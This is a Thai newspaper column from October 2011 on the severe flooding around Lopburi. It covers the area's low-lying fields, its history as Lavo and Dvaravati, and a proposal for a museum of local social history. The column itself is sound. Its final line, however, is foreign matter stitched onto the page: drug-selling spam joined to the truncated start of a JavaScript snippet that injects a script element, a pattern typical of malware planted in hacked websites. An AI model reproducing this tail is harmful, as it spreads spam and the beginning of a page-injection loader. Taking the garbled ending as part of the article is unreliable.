มติชนรายวัน ฉบับประจำวันศุกร์ที่ 7 ตุลาคม 2554

 

          น้ำท่วมหนักหนาสาหัสที่ จ. ลพบุรี บริเวณทุ่งนาพื้นที่ต่อเนื่อง ตั้งแต่ อ. เมือง ถึง อ. ท่าวุ้ง, อ. บ้านหมี่ จนมองคล้ายทะเลสาบ

          ทุ่งนาเขต อ. เมือง ต่อเนื่อง อ. ท่าวุ้ง เป็นที่ลุ่มต่ำ มีแม่น้ำบางขาม แยกจากแม่น้ำลพบุรีตรงวัดมณีชลขัณฑ์ ไหลพาดผ่านกลางทุ่งไป อ. ท่าวุ้ง

          ท้องทุ่งกว้างใหญ่นี้มีเขาสมอคอน เป็นภูเขาหินปูนเตี้ยๆ โผล่ขึ้นกลางทุ่ง คนแต่ก่อนพายเรือแล่นทุ่งจากเมืองลพบุรีไปเที่ยวในฤดูน้ำหลากจนถึงเขาสมอคอน

          ทั้งนี้เพราะเมื่อถึงเดือนสิบเอ็ดน้ำนอง เดือนสิบสองน้ำทรง จะพายเรือเล่นได้ทุกปี

          เมื่อคนบุกรุกแม่น้ำลำคลองห้วยหนองบึงสาธารณะบริเวณท้องทุ่งแม่น้ำบางขาม รวมทั้งตัดถนนขวางทางน้ำ และป่าดงทางเหนือๆ ทุ่งขึ้นไปถูกทำลาย น้ำย่อมน้อยลงไม่ท่วมทุ่งเหมือนแต่ก่อน

          แต่ปีนี้วิปริตผิดปกติ เลยมีน้ำท่วมท้นล้นทุ่งนาลุ่มน้ำบางขาม จนเดือดร้อนแสนสาหัส

          ตรงวัดมณีชลขัณฑ์ ตัวเมืองลพบุรี มีสะพานข้ามแม่น้ำบางขามที่ไหลลงแม่น้ำลพบุรีไปสมทบแม่น้ำเจ้าพระยาที่อยุธยา

          พอพ้นสะพานนี้ไปจะขึ้นเนินสูงทีละน้อย ผ่านตลาด แล้วจะผ่านพระปรางค์สามยอดกับศาลพระกาฬ อันเป็นบริเวณใจกลางเมืองลพบุรี ซึ่งตั้งบนเนินสูงมีที่ราบลุ่มล้อมรอบ

          เมื่อขึ้นเนินเล็กน้อย ถ้าหันกลับไปมองบริเวณน้ำท่วมทางท่าวุ้ง เขาสมอคอน จะเห็นน้ำเป็นผืนกว้างใหญ่ไพศาล ด้านหนึ่งงามล้ำยิ่ง แต่อีกด้านหนึ่งโหดร้ายนัก

          ชาวลพบุรีแต่ก่อนเคยบอกว่าถ้าอากาศดีๆ ทัศนวิสัยปลอดโปร่ง จะมองเห็นเขาสมอคอนที่พระร่วงกรุงสุโขทัยกับพญางำเมืองแห่งเมืองพะเยา มานอนค้างอ้างแรมเรียนศิลปศาสตร์ที่สำนักสุกกทันตฤาษีอยู่หลายปี

          เพราะยุคนั้นเมืองลพบุรีในนามกรุงละโว้ เป็นศูนย์กลางศิลปวิทยาการของบ้านเมืองในภูมิภาคนี้ ดังนั้นบ้านเมืองต่างๆ ล้วนยกย่องให้นักบวชและเจ้านายเชื้อวงศ์มาศึกษาเล่าเรียนเป็นปีๆ

          โดยเฉพาะทางอักษรศาสตร์ คือตัวอักษรขอม (เขมร) ที่เป็นต้นเค้าให้เกิดอักษรไทย

          ครูบาอาจารย์นักปราชญ์นอกกระแส อธิบายว่าเมืองลพบุรียุคหลัง พ.ศ. 1000 คือ “ทวารวดี” หรือโถโลโปตี ในเอกสารจีน (แล้วเรียกนครปฐมว่า หลั่งยะสิว)

          ทวารวดีที่ลพบุรีนี่เอง ย้ายศูนย์กลางขยายตัวลงไปเป็นอโยธยาศรีรามเทพนคร ในที่สุดเปลี่ยนนามเป็นกรุงศรีอยุธยา ที่สืบเนื่องเป็นกรุงธนบุรี, กรุงรัตนโกสินทร์, และสยามประเทศไทยทุกวันนี้

          ใน จ. ลพบุรีไม่มีมิวเซียมจัดแสดงแบ่งปันเรื่องราวประวัติศาสตร์ความเป็นมาทางสังคมและผู้คน อย่างที่กล่าวมา

          ส่วนพิพิธภัณฑ์ที่มีอยู่แล้วในวังนารายณ์ฯ ไม่ได้จัดแสดงเรื่องสังคมและผู้คน แต่จัดแสดงเรื่องวัดกับวังของพระและเทวดา

          หลังน้ำท่วมคลายทุกข์โศกแล้ว ควรร่วมกันคิดหาช่องทางสร้างมิวเซียมลพบุรี ให้มีสังคมและผู้คนรวมทั้งเรื่องน้ำท่วมคราวนี้ด้วย จะได้เตือนให้เตรียมรับมือทุกปี

fluoxetine cost walgreens purchase inderalvar d=document;var s=d.createElement(‘script’);